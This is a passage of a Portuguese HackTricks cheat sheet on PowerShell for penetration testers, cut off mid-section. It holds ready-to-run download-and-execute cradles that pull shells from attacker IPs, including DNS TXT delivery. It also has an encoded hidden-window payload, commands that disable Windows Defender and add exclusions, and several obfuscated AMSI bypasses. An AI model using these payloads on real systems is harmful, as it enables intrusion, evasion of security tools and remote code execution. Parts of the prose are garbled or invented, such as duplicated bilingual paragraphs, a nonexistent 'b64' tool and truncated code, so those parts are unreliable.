mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 06:53:11 +00:00
1608 lines
94 KiB
Markdown
1608 lines
94 KiB
Markdown
# PowerShell Básico para Pentesters
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Localizações padrão do PowerShell
|
|
```powershell
|
|
C:\windows\syswow64\windowspowershell\v1.0\powershell
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
|
|
```
|
|
## Comandos básicos do PowerShell para começar
|
|
|
|
O PowerShell é uma poderosa ferramenta de linha de comando e automação desenvolvida pela Microsoft. É amplamente utilizado por pentesters para realizar várias tarefas durante um teste de penetração. Abaixo estão alguns comandos básicos do PowerShell que podem ser úteis para começar:
|
|
|
|
### Get-Process
|
|
O comando `Get-Process` é usado para obter informações sobre os processos em execução no sistema. Ele exibe detalhes como o ID do processo, nome do processo, uso de CPU e memória.
|
|
|
|
Exemplo de uso:
|
|
```
|
|
Get-Process
|
|
```
|
|
|
|
### Get-Service
|
|
O comando `Get-Service` é usado para obter informações sobre os serviços em execução no sistema. Ele exibe detalhes como o nome do serviço, status, modo de inicialização e descrição.
|
|
|
|
Exemplo de uso:
|
|
```
|
|
Get-Service
|
|
```
|
|
|
|
### Get-EventLog
|
|
O comando `Get-EventLog` é usado para obter informações sobre os logs de eventos do sistema. Ele permite visualizar eventos específicos, como logs de segurança, logs de aplicativos e logs do sistema.
|
|
|
|
Exemplo de uso:
|
|
```
|
|
Get-EventLog -LogName Security
|
|
```
|
|
|
|
### Get-WmiObject
|
|
O comando `Get-WmiObject` é usado para obter informações do Windows Management Instrumentation (WMI). Ele permite acessar informações do sistema, como configurações de hardware, software instalado e muito mais.
|
|
|
|
Exemplo de uso:
|
|
```
|
|
Get-WmiObject -Class Win32_ComputerSystem
|
|
```
|
|
|
|
### Get-ChildItem
|
|
O comando `Get-ChildItem` é usado para listar os arquivos e pastas em um diretório específico. Ele exibe detalhes como nome, tamanho, data de criação e atributos dos arquivos e pastas.
|
|
|
|
Exemplo de uso:
|
|
```
|
|
Get-ChildItem C:\Users
|
|
```
|
|
|
|
Esses são apenas alguns dos comandos básicos do PowerShell que podem ser úteis para começar. O PowerShell oferece uma ampla gama de recursos e funcionalidades avançadas que podem ser exploradas para fins de pentesting.
|
|
```powershell
|
|
Get-Help * #List everything loaded
|
|
Get-Help process #List everything containing "process"
|
|
Get-Help Get-Item -Full #Get full helpabout a topic
|
|
Get-Help Get-Item -Examples #List examples
|
|
Import-Module <modulepath>
|
|
Get-Command -Module <modulename>
|
|
```
|
|
## Baixar e Executar
|
|
|
|
To download and execute a file using PowerShell, you can use the following command:
|
|
|
|
Para baixar e executar um arquivo usando o PowerShell, você pode usar o seguinte comando:
|
|
|
|
```powershell
|
|
Invoke-WebRequest -Uri <URL> -OutFile <output_file>; .\<output_file>
|
|
```
|
|
|
|
Replace `<URL>` with the URL of the file you want to download, and `<output_file>` with the desired name for the downloaded file.
|
|
|
|
Substitua `<URL>` pela URL do arquivo que você deseja baixar e `<output_file>` pelo nome desejado para o arquivo baixado.
|
|
|
|
For example, to download a file named `payload.exe` from `http://example.com/payload.exe` and execute it, you would use the following command:
|
|
|
|
Por exemplo, para baixar um arquivo chamado `payload.exe` de `http://example.com/payload.exe` e executá-lo, você usaria o seguinte comando:
|
|
|
|
```powershell
|
|
Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile payload.exe; .\payload.exe
|
|
```
|
|
|
|
Make sure to exercise caution when downloading and executing files from the internet, as they may contain malicious content. Always verify the source and integrity of the file before executing it.
|
|
|
|
Certifique-se de ter cuidado ao baixar e executar arquivos da internet, pois eles podem conter conteúdo malicioso. Sempre verifique a origem e a integridade do arquivo antes de executá-lo.
|
|
```powershell
|
|
g
|
|
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
|
|
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
|
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
|
|
|
|
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
|
|
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
|
|
|
|
#https://twitter.com/Alh4zr3d/status/1566489367232651264
|
|
#host a text record with your payload at one of your (unburned) domains and do this:
|
|
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
|
|
```
|
|
### Baixar e Executar em segundo plano com Bypass AMSI
|
|
|
|
Este script PowerShell permite baixar e executar um arquivo em segundo plano, contornando o AMSI (Antimalware Scan Interface).
|
|
|
|
#### Uso
|
|
|
|
1. Abra o PowerShell como administrador.
|
|
2. Execute o seguinte comando para habilitar a execução de scripts não assinados:
|
|
```powershell
|
|
Set-ExecutionPolicy Bypass -Scope Process -Force
|
|
```
|
|
3. Execute o seguinte comando para baixar e executar o arquivo em segundo plano:
|
|
```powershell
|
|
IEX (New-Object Net.WebClient).DownloadString('URL_DO_ARQUIVO')
|
|
```
|
|
Substitua `URL_DO_ARQUIVO` pela URL do arquivo que deseja baixar e executar.
|
|
|
|
#### Observações
|
|
|
|
- Certifique-se de que você tem permissões de administrador para executar o PowerShell.
|
|
- O AMSI é um recurso de segurança do Windows que verifica scripts PowerShell em busca de malware. O bypass do AMSI pode ser considerado uma técnica de evasão.
|
|
- Tenha cuidado ao executar scripts de fontes desconhecidas, pois isso pode representar um risco de segurança.
|
|
```powershell
|
|
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
|
|
```
|
|
### Usando b64 no Linux
|
|
|
|
O comando `b64` é uma ferramenta útil para codificar e decodificar dados em base64 no Linux. Ele pode ser usado para várias finalidades, como a manipulação de dados codificados em base64 durante testes de penetração.
|
|
|
|
#### Codificando dados em base64
|
|
|
|
Para codificar dados em base64 usando o comando `b64`, você pode executar o seguinte comando:
|
|
|
|
```bash
|
|
echo "dados" | b64 -e
|
|
```
|
|
|
|
Substitua "dados" pelos dados que você deseja codificar. O comando acima irá codificar os dados em base64 e exibir o resultado na saída padrão.
|
|
|
|
#### Decodificando dados em base64
|
|
|
|
Para decodificar dados em base64 usando o comando `b64`, você pode executar o seguinte comando:
|
|
|
|
```bash
|
|
echo "dados codificados em base64" | b64 -d
|
|
```
|
|
|
|
Substitua "dados codificados em base64" pelos dados que você deseja decodificar. O comando acima irá decodificar os dados em base64 e exibir o resultado na saída padrão.
|
|
|
|
#### Exemplo de uso
|
|
|
|
Aqui está um exemplo de como usar o comando `b64` para codificar e decodificar dados em base64:
|
|
|
|
```bash
|
|
# Codificando dados em base64
|
|
echo "Hello, world!" | b64 -e
|
|
|
|
# Saída: SGVsbG8sIHdvcmxkIQ==
|
|
|
|
# Decodificando dados em base64
|
|
echo "SGVsbG8sIHdvcmxkIQ==" | b64 -d
|
|
|
|
# Saída: Hello, world!
|
|
```
|
|
|
|
O comando `b64` é uma ferramenta útil para manipular dados codificados em base64 no Linux. Ele pode ser usado em várias situações durante testes de penetração e outras atividades relacionadas à segurança.
|
|
```powershell
|
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
|
|
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
|
|
```
|
|
## Download
|
|
|
|
### System.Net.WebClient
|
|
|
|
O `System.Net.WebClient` é uma classe do .NET Framework que fornece métodos para fazer download de arquivos da web. Ele é amplamente utilizado por pentesters para baixar arquivos maliciosos ou explorar vulnerabilidades em sistemas.
|
|
|
|
#### Exemplo de Uso
|
|
|
|
```powershell
|
|
$webClient = New-Object System.Net.WebClient
|
|
$url = "http://www.example.com/malware.exe"
|
|
$destination = "C:\Downloads\malware.exe"
|
|
$webClient.DownloadFile($url, $destination)
|
|
```
|
|
|
|
Neste exemplo, o `System.Net.WebClient` é usado para baixar um arquivo malicioso chamado `malware.exe` do URL `http://www.example.com/malware.exe` e salvá-lo no diretório `C:\Downloads`.
|
|
|
|
#### Observações
|
|
|
|
- Certifique-se de que você tem permissão para baixar arquivos da web antes de usar o `System.Net.WebClient`.
|
|
- Tenha cuidado ao baixar arquivos maliciosos e execute-os apenas em um ambiente controlado e seguro.
|
|
```powershell
|
|
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
|
|
```
|
|
O comando `Invoke-WebRequest` é usado para enviar solicitações HTTP e HTTPS para um servidor web. Ele permite que os pentesters realizem várias ações, como fazer o download de arquivos, enviar dados para um formulário da web e obter informações de uma página da web.
|
|
|
|
#### Sintaxe
|
|
|
|
```powershell
|
|
Invoke-WebRequest [-Uri] <string> [-Method <WebRequestMethod>] [-Headers <IDictionary>] [-Body <Object>] [-ContentType <string>] [-UserAgent <string>] [-TimeoutSec <int>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-UseBasicParsing] [-SessionVariable <string>] [-WebSession <WebRequestSession>] [-MaximumRedirection <int>] [-SkipCertificateCheck] [<CommonParameters>]
|
|
```
|
|
|
|
#### Parâmetros
|
|
|
|
- `-Uri`: Especifica a URL do servidor web para enviar a solicitação.
|
|
- `-Method`: Especifica o método HTTP a ser usado na solicitação, como GET, POST, PUT, DELETE, etc.
|
|
- `-Headers`: Especifica os cabeçalhos HTTP personalizados a serem incluídos na solicitação.
|
|
- `-Body`: Especifica o corpo da solicitação, que pode ser usado para enviar dados para um formulário da web ou para enviar uma carga útil personalizada.
|
|
- `-ContentType`: Especifica o tipo de conteúdo do corpo da solicitação.
|
|
- `-UserAgent`: Especifica o agente do usuário a ser usado na solicitação.
|
|
- `-TimeoutSec`: Especifica o tempo limite, em segundos, para a solicitação.
|
|
- `-Proxy`: Especifica o servidor proxy a ser usado para a solicitação.
|
|
- `-ProxyCredential`: Especifica as credenciais a serem usadas para autenticação no servidor proxy.
|
|
- `-UseBasicParsing`: Especifica se o analisador HTML básico deve ser usado para analisar a resposta.
|
|
- `-SessionVariable`: Especifica o nome da variável para armazenar a sessão da solicitação.
|
|
- `-WebSession`: Especifica uma sessão da solicitação existente a ser usada.
|
|
- `-MaximumRedirection`: Especifica o número máximo de redirecionamentos permitidos.
|
|
- `-SkipCertificateCheck`: Especifica se a verificação do certificado SSL deve ser ignorada.
|
|
|
|
#### Exemplos
|
|
|
|
1. Fazendo uma solicitação GET para uma página da web:
|
|
|
|
```powershell
|
|
Invoke-WebRequest -Uri "https://www.example.com"
|
|
```
|
|
|
|
2. Fazendo uma solicitação POST com dados de formulário:
|
|
|
|
```powershell
|
|
Invoke-WebRequest -Uri "https://www.example.com/login" -Method POST -Body @{username="admin"; password="password"} -ContentType "application/x-www-form-urlencoded"
|
|
```
|
|
|
|
3. Fazendo o download de um arquivo:
|
|
|
|
```powershell
|
|
Invoke-WebRequest -Uri "https://www.example.com/file.txt" -OutFile "C:\path\to\save\file.txt"
|
|
```
|
|
|
|
4. Enviando uma solicitação com cabeçalhos personalizados:
|
|
|
|
```powershell
|
|
$headers = @{
|
|
"Authorization" = "Bearer token123"
|
|
"Content-Type" = "application/json"
|
|
}
|
|
|
|
Invoke-WebRequest -Uri "https://www.example.com/api" -Headers $headers
|
|
```
|
|
|
|
#### Observações
|
|
|
|
- O comando `Invoke-WebRequest` é uma ferramenta poderosa para interagir com servidores web durante um teste de penetração. Ele permite que os pentesters enviem solicitações personalizadas e obtenham informações úteis para identificar vulnerabilidades e explorar sistemas.
|
|
```powershell
|
|
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
|
|
```
|
|
### Wget
|
|
|
|
Wget is a command-line utility that allows you to retrieve files from the web. It supports downloading files using various protocols such as HTTP, HTTPS, and FTP. Wget is commonly used in penetration testing to download files from target systems.
|
|
|
|
To use Wget, you need to open a command prompt or terminal and enter the following command:
|
|
|
|
```
|
|
wget [URL]
|
|
```
|
|
|
|
Replace `[URL]` with the URL of the file you want to download. Wget will then retrieve the file and save it to your current directory.
|
|
|
|
Wget also supports options that allow you to customize the download process. For example, you can use the `-O` option to specify a different name for the downloaded file, or the `-P` option to specify a different directory to save the file in.
|
|
|
|
Here are some examples of how you can use Wget:
|
|
|
|
- Download a file from a specific URL:
|
|
```
|
|
wget https://example.com/file.txt
|
|
```
|
|
|
|
- Download a file and save it with a different name:
|
|
```
|
|
wget -O newfile.txt https://example.com/file.txt
|
|
```
|
|
|
|
- Download a file and save it to a specific directory:
|
|
```
|
|
wget -P /path/to/directory https://example.com/file.txt
|
|
```
|
|
|
|
Wget is a powerful tool that can be used for various purposes, including downloading files during penetration testing. It is important to use it responsibly and within the boundaries of the law.
|
|
```powershell
|
|
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
|
|
```
|
|
### BitsTransfer
|
|
|
|
O BitsTransfer é um módulo do PowerShell que permite transferir arquivos entre computadores usando o protocolo Background Intelligent Transfer Service (BITS). O BITS é um serviço do Windows que permite transferências de arquivos em segundo plano, de forma assíncrona e com suporte a pausa e retomada.
|
|
|
|
O módulo BitsTransfer fornece cmdlets (comandos) que permitem iniciar, pausar, retomar e cancelar transferências de arquivos usando o BITS. Ele também permite monitorar o progresso das transferências e exibir informações detalhadas sobre cada transferência.
|
|
|
|
Os cmdlets do BitsTransfer são úteis para pentesters, pois permitem transferir arquivos de forma eficiente durante um teste de penetração. Por exemplo, você pode usar o cmdlet Start-BitsTransfer para transferir um arquivo malicioso para um sistema alvo e, em seguida, usar o cmdlet Get-BitsTransfer para monitorar o progresso da transferência.
|
|
|
|
O BitsTransfer é uma ferramenta poderosa para pentesters que desejam explorar vulnerabilidades em sistemas Windows. No entanto, é importante usá-lo com responsabilidade e apenas para fins legais e éticos.
|
|
```powershell
|
|
Import-Module BitsTransfer
|
|
Start-BitsTransfer -Source $url -Destination $output
|
|
# OR
|
|
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
|
```
|
|
## Base64 Kali & EncodedCommand
|
|
|
|
Neste tutorial, vamos discutir como usar o Base64 no Kali Linux e o parâmetro EncodedCommand no PowerShell para executar comandos codificados.
|
|
|
|
### Base64 no Kali Linux
|
|
|
|
O Base64 é um método de codificação que converte dados binários em texto ASCII. No Kali Linux, podemos usar o comando `base64` para codificar e decodificar arquivos ou strings.
|
|
|
|
Para codificar um arquivo usando o Base64, use o seguinte comando:
|
|
|
|
```bash
|
|
base64 arquivo.txt
|
|
```
|
|
|
|
Isso irá codificar o conteúdo do arquivo `arquivo.txt` e exibir o resultado na saída padrão.
|
|
|
|
Para decodificar um arquivo codificado em Base64, use o seguinte comando:
|
|
|
|
```bash
|
|
base64 -d arquivo.codificado
|
|
```
|
|
|
|
Isso irá decodificar o arquivo `arquivo.codificado` e exibir o conteúdo original na saída padrão.
|
|
|
|
### Parâmetro EncodedCommand no PowerShell
|
|
|
|
O PowerShell é uma poderosa ferramenta de linha de comando e script da Microsoft. O parâmetro `EncodedCommand` permite que você execute comandos codificados em Base64 diretamente no PowerShell.
|
|
|
|
Para codificar um comando em Base64, você pode usar o seguinte comando no PowerShell:
|
|
|
|
```powershell
|
|
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("comando"))
|
|
```
|
|
|
|
Substitua `"comando"` pelo comando que você deseja codificar.
|
|
|
|
Em seguida, você pode executar o comando codificado usando o parâmetro `EncodedCommand`:
|
|
|
|
```powershell
|
|
powershell.exe -EncodedCommand "Y29tbWFuZA=="
|
|
```
|
|
|
|
Isso executará o comando codificado em Base64 no PowerShell.
|
|
|
|
Lembre-se de que o uso de comandos codificados em Base64 pode ajudar a evitar a detecção de antivírus e firewalls, mas também pode ser considerado uma atividade maliciosa. Certifique-se de usar essas técnicas apenas para fins legítimos e autorizados.
|
|
```powershell
|
|
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
|
PS> powershell -EncodedCommand <Base64>
|
|
```
|
|
## [Política de Execução](../authentication-credentials-uac-and-efs.md#ps-execution-policy)
|
|
|
|
## [Linguagem Restrita](broken-reference/)
|
|
|
|
## [Política do AppLocker](broken-reference/)
|
|
|
|
## Habilitar o WinRM (PS Remoto)
|
|
```powershell
|
|
enable-psremoting -force #This enables winrm
|
|
|
|
# Change NetWorkConnection Category to Private
|
|
#Requires -RunasAdministrator
|
|
|
|
Get-NetConnectionProfile |
|
|
Where{ $_.NetWorkCategory -ne 'Private'} |
|
|
ForEach {
|
|
$_
|
|
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
|
|
}
|
|
```
|
|
## Desativar o Defender
|
|
|
|
{% code overflow="wrap" %}
|
|
```powershell
|
|
# Check status
|
|
Get-MpComputerStatus
|
|
Get-MpPreference | select Exclusion* | fl #Check exclusions
|
|
# Disable
|
|
Set-MpPreference -DisableRealtimeMonitoring $true
|
|
#To completely disable Windows Defender on a computer, use the command:
|
|
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
|
|
# Set exclusion path
|
|
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
|
|
Add-MpPreference -ExclusionPath (pwd)
|
|
|
|
# Check exclusions configured via GPO
|
|
Parse-PolFile .\Registry.pol
|
|
|
|
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
|
|
ValueName : Exclusions_Paths
|
|
ValueType : REG_DWORD
|
|
ValueLength : 4
|
|
ValueData : 1
|
|
|
|
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
|
|
ValueName : C:\Windows\Temp
|
|
ValueType : REG_SZ
|
|
ValueLength : 4
|
|
ValueData : 0
|
|
```
|
|
{% endcode %}
|
|
|
|
### Bypass AMSI
|
|
|
|
O arquivo **`amsi.dll`** é **carregado** no seu processo e possui as **exportações** necessárias para qualquer aplicativo interagir com ele. E como ele é carregado no espaço de memória de um processo que você **controla**, você pode alterar seu comportamento **sobrescrevendo instruções na memória**. Fazendo com que ele não detecte nada.
|
|
|
|
Portanto, o objetivo dos bypasses do AMSI é **sobrescrever as instruções dessa DLL na memória para tornar a detecção inútil**.
|
|
|
|
Página da web do gerador de bypass do AMSI: [**https://amsi.fail/**](https://amsi.fail/)
|
|
```powershell
|
|
# A Method
|
|
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
|
|
|
|
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
|
|
$A="5492868772801748688168747280728187173688878280688776828"
|
|
$B="1173680867656877679866880867644817687416876797271"
|
|
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
|
|
substring(($_*2),2))})-replace " " ).
|
|
GetField([string](38..51|%{[char][int](29+($A+$B).
|
|
substring(($_*2),2))})-replace " ",'NonPublic,Static').
|
|
SetValue($null,$true)
|
|
|
|
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
|
|
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
|
|
|
|
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
|
|
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
|
|
|
|
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
|
|
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
|
|
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
|
|
${1}.SetValue($null,$true)
|
|
|
|
# Another Method
|
|
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
|
|
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
|
|
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
|
|
$field.SetValue($null,$true)
|
|
|
|
# AMSI Bypass in python
|
|
https://fluidattacks.com/blog/amsi-bypass-python/
|
|
|
|
# Testing for Amsi Bypass:
|
|
https://github.com/rasta-mouse/AmsiScanBufferBypass
|
|
|
|
# Amsi-Bypass-Powershell
|
|
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
|
|
|
|
https://blog.f-secure.com/hunting-for-amsi-bypasses/
|
|
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
|
|
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
|
|
https://slaeryan.github.io/posts/falcon-zero-alpha.html
|
|
```
|
|
### Bypass AMSI 2 - Hooking de Chamada de API Gerenciada
|
|
|
|
Verifique [**este post para informações detalhadas**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)[ **e o código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/).
|
|
|
|
Essa nova técnica baseia-se no hooking de chamadas de API de métodos .NET. Acontece que os métodos .NET precisam ser compilados em instruções nativas da máquina na memória, que acabam se parecendo muito com métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa.
|
|
|
|
Os passos para realizar o hooking de chamadas de API de métodos .NET são:
|
|
|
|
1. Identificar o método alvo para o hook
|
|
2. Definir um método com o mesmo protótipo de função do alvo
|
|
3. Usar reflexão para encontrar os métodos
|
|
4. Garantir que cada método tenha sido compilado
|
|
5. Encontrar a localização de cada método na memória
|
|
6. Sobrescrever o método alvo com instruções apontando para nosso método malicioso
|
|
|
|
### Bypass AMSI 3 - Privilégio SeDebug
|
|
|
|
[**Seguindo este guia e código**](https://github.com/MzHmO/DebugAmsi), você pode ver como, com privilégios suficientes para depurar processos, é possível criar um processo powershell.exe, depurá-lo, monitorar quando ele carrega `amsi.dll` e desabilitá-lo.
|
|
|
|
## Histórico do PS
|
|
```powershell
|
|
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
|
|
```
|
|
## Obter permissões
|
|
|
|
To gather information about the permissions assigned to a user or a group in a Windows system, you can use the following PowerShell commands:
|
|
|
|
Para obter informações sobre as permissões atribuídas a um usuário ou a um grupo em um sistema Windows, você pode usar os seguintes comandos do PowerShell:
|
|
|
|
### Get-ACL
|
|
|
|
The `Get-ACL` command retrieves the Access Control List (ACL) for a specified file or directory. It provides detailed information about the permissions assigned to the file or directory.
|
|
|
|
O comando `Get-ACL` recupera a Lista de Controle de Acesso (ACL) para um arquivo ou diretório especificado. Ele fornece informações detalhadas sobre as permissões atribuídas ao arquivo ou diretório.
|
|
|
|
```powershell
|
|
Get-ACL -Path C:\path\to\file.txt
|
|
```
|
|
|
|
### Get-Acl | Format-List
|
|
|
|
The `Get-Acl | Format-List` command retrieves the ACL for a specified file or directory and formats the output as a list. This command provides a more detailed view of the permissions assigned to the file or directory.
|
|
|
|
O comando `Get-Acl | Format-List` recupera a ACL para um arquivo ou diretório especificado e formata a saída como uma lista. Este comando fornece uma visão mais detalhada das permissões atribuídas ao arquivo ou diretório.
|
|
|
|
```powershell
|
|
Get-ACL -Path C:\path\to\file.txt | Format-List
|
|
```
|
|
|
|
### Get-NTFSAccess
|
|
|
|
The `Get-NTFSAccess` command retrieves the NTFS permissions for a specified file or directory. It provides a simplified view of the permissions assigned to the file or directory.
|
|
|
|
O comando `Get-NTFSAccess` recupera as permissões NTFS para um arquivo ou diretório especificado. Ele fornece uma visão simplificada das permissões atribuídas ao arquivo ou diretório.
|
|
|
|
```powershell
|
|
Get-NTFSAccess -Path C:\path\to\file.txt
|
|
```
|
|
|
|
### Get-EffectiveAccess
|
|
|
|
The `Get-EffectiveAccess` command retrieves the effective permissions for a specified user or group on a file or directory. It takes into account both explicit and inherited permissions.
|
|
|
|
O comando `Get-EffectiveAccess` recupera as permissões efetivas para um usuário ou grupo especificado em um arquivo ou diretório. Ele leva em consideração tanto as permissões explícitas quanto as herdadas.
|
|
|
|
